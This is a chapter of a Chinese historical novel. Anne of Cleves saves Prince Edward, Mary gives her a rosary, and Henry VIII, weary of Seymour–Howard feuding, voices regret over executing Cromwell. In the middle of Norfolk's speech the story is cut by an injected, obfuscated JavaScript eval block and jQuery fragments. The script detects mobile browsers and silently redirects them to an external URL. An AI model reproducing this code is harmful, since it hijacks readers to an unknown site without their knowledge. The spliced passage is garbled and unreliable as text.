格林威治宫爱德华王子的寝殿，成了整个王国目光的焦点，也是风暴暂时停歇的港湾。安妮如同一台精密而不知疲倦的机器，守护在爱德华床边。物理降温（冰块越来越难寻，但安妮坚持必须用）、极其缓慢而持续的补液（稀释的蜂蜜盐水，加入了少量柠檬汁补充电解质）、大蒜汁的局部应用、以及用薰衣草和洋甘菊蒸汽营造的安宁环境……这些在现代看来只是支持疗法的手段，在这个时代却如同神迹。


    爱德华的体温终于在第三天黎明时分稳定在了一个相对安全的区间，不再有那骇人的灼热。持续折磨他的剧烈抽搐彻底停止，虽然身体依旧虚弱无力，偶尔会无意识地呻吟，但那种濒死的角弓反张消失了。最令人振奋的是，他身上的紫黑色瘀斑，边缘开始模糊、褪色，虽然依旧存在，但已不再扩散，颜色也由恐怖的深紫转为暗红，仿佛凝固的血液正在被身体缓慢吸收。呼吸变得平稳悠长，虽然依旧带着病后的细弱，却不再是那令人揪心的微弱。血尿也止住了。


    格里夫斯和他手下的御医们，从最初的震惊、怀疑甚至暗中抵触，到后来变成了沉默的观察者和笨拙的学徒。他们看着安妮一丝不苟地操作，记录着她每一个步骤，尝试理解其中蕴含的、他们完全陌生的“道理”——为什么降温比放血更能保护心脏？为什么那么一点点淡盐水能维持生机？那刺鼻的大蒜汁，难道真能对抗无形的“毒素”？虽然无法理解，但爱德华肉眼可见的、奇迹般的改善，像一记重锤，砸碎了他们根深蒂固的医学观念。格里夫斯看向安妮的眼神，充满了前所未有的敬畏和困惑，他甚至开始偷偷在自己的药典空白处，用极小的字记录下“克里夫斯疗法”。


    当安妮在第四天清晨，疲惫却清晰地宣布“王子殿下已脱离最凶险的阶段，但后续调养至关重要，仍需绝对静养和精心护理”时，寝殿内紧绷到极致的弦，终于“铮”地一声松开了。


    一直守在门外的玛丽公主，第一个冲了进来。她没有去看安妮，而是扑到弟弟床边，颤抖的手指轻轻抚过爱德华虽然苍白却已恢复平静的小脸，感受着他平稳温热的呼吸。巨大的、失而复得的狂喜和连日积压的恐惧、疲惫瞬间化作汹涌的泪水，冲垮了她冰冷高傲的堤防。她再也抑制不住，伏在弟弟枕边，肩膀剧烈地抽动，压抑的哭声从喉咙深处溢出，不再是绝望的悲鸣，而是喜极而泣的宣泄。泪水浸湿了爱德华的枕巾，也洗刷着她心中对安妮最后一丝顽固的敌意。


    过了许久，玛丽才慢慢抬起头。她用手背胡乱擦去脸上的泪痕，尽管眼睛红肿，但那份属于公主的矜持似乎又回到了她身上。她站起身，走到一直安静地靠在墙边休息的安妮面前。


    空气有一瞬间的凝滞。玛丽的目光复杂地落在安妮身上，这位被她视为“德意志异教徒”、举止“轻浮”的前王后，此刻在她眼中却像笼罩着一层难以言喻的光晕——不是圣徒的光环，而是一种源自强大、冷静和未知智慧的奇异力量。


    玛丽深吸一口气，没有说任何感谢的话。她沉默地从自己纤细的脖颈上，解下那串她视若性命、片刻不离身的玫瑰念珠。念珠由深色乌木制成，每一颗都圆润光滑，泛着岁月沉淀的温润光泽。最下方悬挂着一个极小的、镶嵌着暗红色宝石（据说内含真十字架碎片）的银质十字架。这是她母亲，阿拉贡的凯瑟琳王后，在临终前留给她的唯一遗物，承载着她对母亲所有的思念、信仰的寄托以及……对命运不公的控诉。


    玛丽将念珠双手捧起，递到安妮面前。她的动作庄重而缓慢，带着一种近乎宗教仪式的虔诚。


    “安妮女士，”玛丽的声音有些沙哑，但异常清晰，带着一种前所未有的郑重，“这是……我母亲留下的。它曾伴随她度过最黑暗的囚禁岁月，也伴随我度过无数个被诅咒的日夜。它……它见证过信仰的力量。”她停顿了一下，似乎有些艰难地措辞，“我……无法理解您所做的一切，那超出了我的认知。但您救了我的弟弟，救了这个王国法定的继承人。这串念珠……它无法报答您的恩情于万一，但它代表我……和我的母亲……对您的敬意。”


    她的目光紧紧锁住安妮的眼睛，灰蓝色的眼眸深处翻涌着感激、困惑、以及一种近乎顽固的坚持：“我，玛丽·都铎，在此承诺。我会在万能的主面前，在圣母玛利亚面前，在英格兰所有圣徒面前，为您祈祷。祈祷您……平安。祈祷您的智慧……得到善用。” 最后几个字，她说得异常缓慢而清晰，仿佛在暗示着什么。她将念珠轻轻放入安妮手中，指尖微凉，带着一种决绝的托付感。


    安妮握着那串沉甸甸的、带着玛丽体温和复杂情感的念珠，心中五味杂陈。她能感受到其中蕴含的沉重历史和玛丽的真诚（尽管是带着她自身信仰烙印的真诚）。这串念珠，与其说是谢礼，不如说是一个象征，一个来自最顽固的天主教公主的、跨越了巨大鸿沟的认可和……警示？她郑重地点点头：“谢谢您，玛丽公主。我会妥善保管它，并……记住您的祈祷。”


    就在寝殿内弥漫着一种劫后余生的温情与复杂情绪时，亨利八世那高大的身影再次出现在门口。他的脸色依旧憔悴，眼袋深重，但那股狂暴的戾气已经消散，取而代之的是一种深沉的疲惫和一种……近乎笨拙的感激。


    他大步走到安妮面前，巨大的身躯带来强烈的压迫感，但眼神却显得有些躲闪和……无措。他先是看了一眼床上的爱德华，确认儿子确实安稳地睡着，然后才将目光转向安妮。他伸出那双曾经签署过无数命令、也沾染过鲜血的大手，不由分说地、紧紧地握住了安妮那双因连日操劳而冰凉的手。


    “安妮……夫人。”亨利的声音低沉沙哑，带着一种前所未有的、甚至有些别扭的温和。他避开了“王后”或“妹妹”的称呼，用了最中性却也最郑重的“夫人”。“我……”他似乎想说什么，但巨大的情感和帝王的骄傲堵住了他的喉咙。最终，他只是用力地、反复地握了握安妮的手，那双布满红丝的眼睛里，清晰地映出安妮疲惫却平静的面容。


    “谢谢你。”他终于说出了这三个字，声音不高，却异常清晰，带着一种沉甸甸的分量，仿佛卸下了千斤重担。“谢谢你……救了我的儿子。”他停顿了一下，又补充道，语气带着一丝不易察觉的恳求，“请你……继续照顾他，直到他完全康复。这里……这里的一切，你需要什么，尽管开口。”


    这可能是亨利八世一生中，对被他抛弃的妻子，说过的最真诚、也最接近“低声下气”的话。安妮能感受到他手掌的粗糙和温热，也能感受到那份混杂着感激、愧疚和后怕的复杂情绪。她微微颔首：“陛下言重了。我会尽力。”


    *** ***


    然而，王室的温情并未能驱散格林威治宫上空真正的阴云。就在爱德华病情稳定、亨利难得流露出片刻软弱的当日下午，一场新的风暴在枢密院的议事厅里悍然爆发。


    议题是即将到来的秋税征收，特别是针对羊毛出口的关税调整。这本是例行公务，却瞬间成为了西摩家族与霍华德家族角力的战场。


    爱德华·西摩，外甥从鬼门关被拉回的庆幸并未冲淡他的愤怒，反而让他的复仇之火燃烧得更加炽烈。他知道下毒的线被霍华德家清理得干干净净，但他绝不会放过任何一个打击对方的机会。他率先发难，矛头直指霍华德家族控制下的几大羊毛港口。


    “陛下！”爱德华·西摩的声音洪亮，带着毫不掩饰的指责，“东盎格利亚各港上报的羊毛出口量，与实际关税收入严重不符！差额之大，绝非正常损耗！这分明是有人上下其手，中饱私囊，侵蚀国库根基！臣恳请陛下，立刻派专员彻查诺维奇、金斯林等港口！严惩蛀虫！” 他的目光如刀，狠狠剐向端坐在对面的诺福克公爵。


    诺福克公爵托马斯·霍华德老神在在，嘴角甚至挂着一丝若有若无的讥讽。他慢条斯理地捋了捋修剪整齐的胡须，声音平和却字字带刺：“西摩大人此言差矣。关税征收，牵涉环节众多，路途损耗、海盗劫掠、市场波动


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155918|180550||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，皆可造成账目差异。仅凭臆测就指控国之重臣、污蔑忠良，是否太过轻率？还是说……”他故意拖长了语调，目光扫过西摩，“有人因私废公，借题发挥，欲行打压异己之实？毕竟，王子殿下刚刚转危为安，某些人就迫不及待地要搅动风云，其心可诛啊！” 他巧妙地将税务问题与王子中毒的嫌疑联系起来，暗示西摩家族在借机报复。


    “你！”爱德华·西摩拍案而起，怒目圆睁，“诺福克！你休要血口喷人！王子之事，天理昭昭，必有水落石出之日！倒是你们霍华德家，把持港口，贪得无厌，才是真正的国之蛀虫！陛下！臣……”


    “够了！！！”


    一声如同受伤雄狮般的咆哮，猛地打断了西摩的控诉。亨利八世坐在高高的王座上，双手死死抓住扶手，指节因用力而发白。他脸色铁青，太阳穴上青筋暴跳，连日来的心力交瘁、丧子恐惧后的虚脱、以及眼前这无休止的、充满恶意的争吵，终于彻底压垮了他。


    议事厅瞬间死寂。所有大臣都噤若寒蝉，看着他们的君王。


    亨利没有看西摩，也没有看诺福克。他布满血丝的眼睛茫然地扫视着下方那些或惶恐、或算计、或愤怒的面孔，最后落在他空空如也的御案旁——那里曾经站着一个总是弓着背、眼神锐利、能迅速理清所有纷繁头绪、提出切实可行方案的人。


    一股巨大的、迟来的悔恨和孤独感，如同冰冷的潮水，瞬间淹没了亨利。他颓然地松开抓着扶手的手，巨大的身躯仿佛佝偻了几分。他抬手，用力揉捏着剧痛的额角，声音嘶哑，充满了疲惫和一种令人心酸的自我厌弃，喃喃自语般地说道，声音不大，却清晰地传遍了寂静的大厅：


    “争吵……永远是无休止的争吵……算计……永远是恶毒的算计……朕的头……要裂开了……” 他停顿了一下，目光空洞地望着虚空，仿佛在对着一个不存在的人倾诉，语气中充满了前所未有的懊悔和茫然：


    “也许……也许朕真的不该砍掉沃特的头颅……至少……至少他在的时候……” 亨利的声音越来越低，带着一种深沉的无力感，“……真的能帮朕……把这些该死的事情……理清楚……”


    “沃特”——托马斯·克伦威尔（Thomas Cromwell）的昵称。


    这个名字如同一个禁忌的幽灵，瞬间让整个议事厅的温度降到了冰点。所有大臣，无论是西摩派还是霍华德派，都脸色骤变，面面相觑，眼中充满了震惊和难以置信。陛下……竟然在公开场合，流露出对那个被他自己下令处决的“叛国者”的……怀念和悔意？


    爱德华·西摩眼中的愤怒瞬间被一种冰冷的讽刺取代。诺福克公爵脸上的从容也第一次出现了裂痕，眼神阴沉下来。


    亨利似乎并未意识到自己说了什么惊世骇俗的话，他只是沉浸在巨大的头痛和更深的、无人可诉的孤独与悔恨中。他挥了挥手，声音疲惫至极：“税务的事……延后再议……都……退下吧……”


    他不再看任何人，巨大的手掌依旧捂着脸，仿佛想将自己与这个充满阴谋、背叛和永远理不清的烂摊子的世界隔绝开来。克伦威尔那精明、冷酷却无比高效的身影，在他此刻混乱而痛苦的脑海中，竟显得如此清晰而……可靠。


    西摩家族的人带着满腔的愤怒和一丝看到帝王软弱的快意，冷冷地扫了霍华德家族一眼，率先拂袖而去。诺福克公爵深深看了一眼王座上那个仿佛瞬间苍老了许多的君王，眼神复杂难明，最终也沉默地行礼告退。


    议事厅空了。只剩下亨利沉重的喘息和窗外呼啸而过的风声。爱德华王子寝殿那边隐约传来平稳的呼吸声，而权力的中心，却只剩下一个被悔恨和孤独啃噬的帝王，以及一个刚刚被意外提及、却足以在所有人心中掀起惊涛骇浪的名字——托马斯·克伦威尔。霍华德家族看似再次避开了直接的冲击，但国王这声无意识的叹息，如同一颗投入深潭的石子，激起的涟漪，将比任何明面上的指控都更加深远和危险。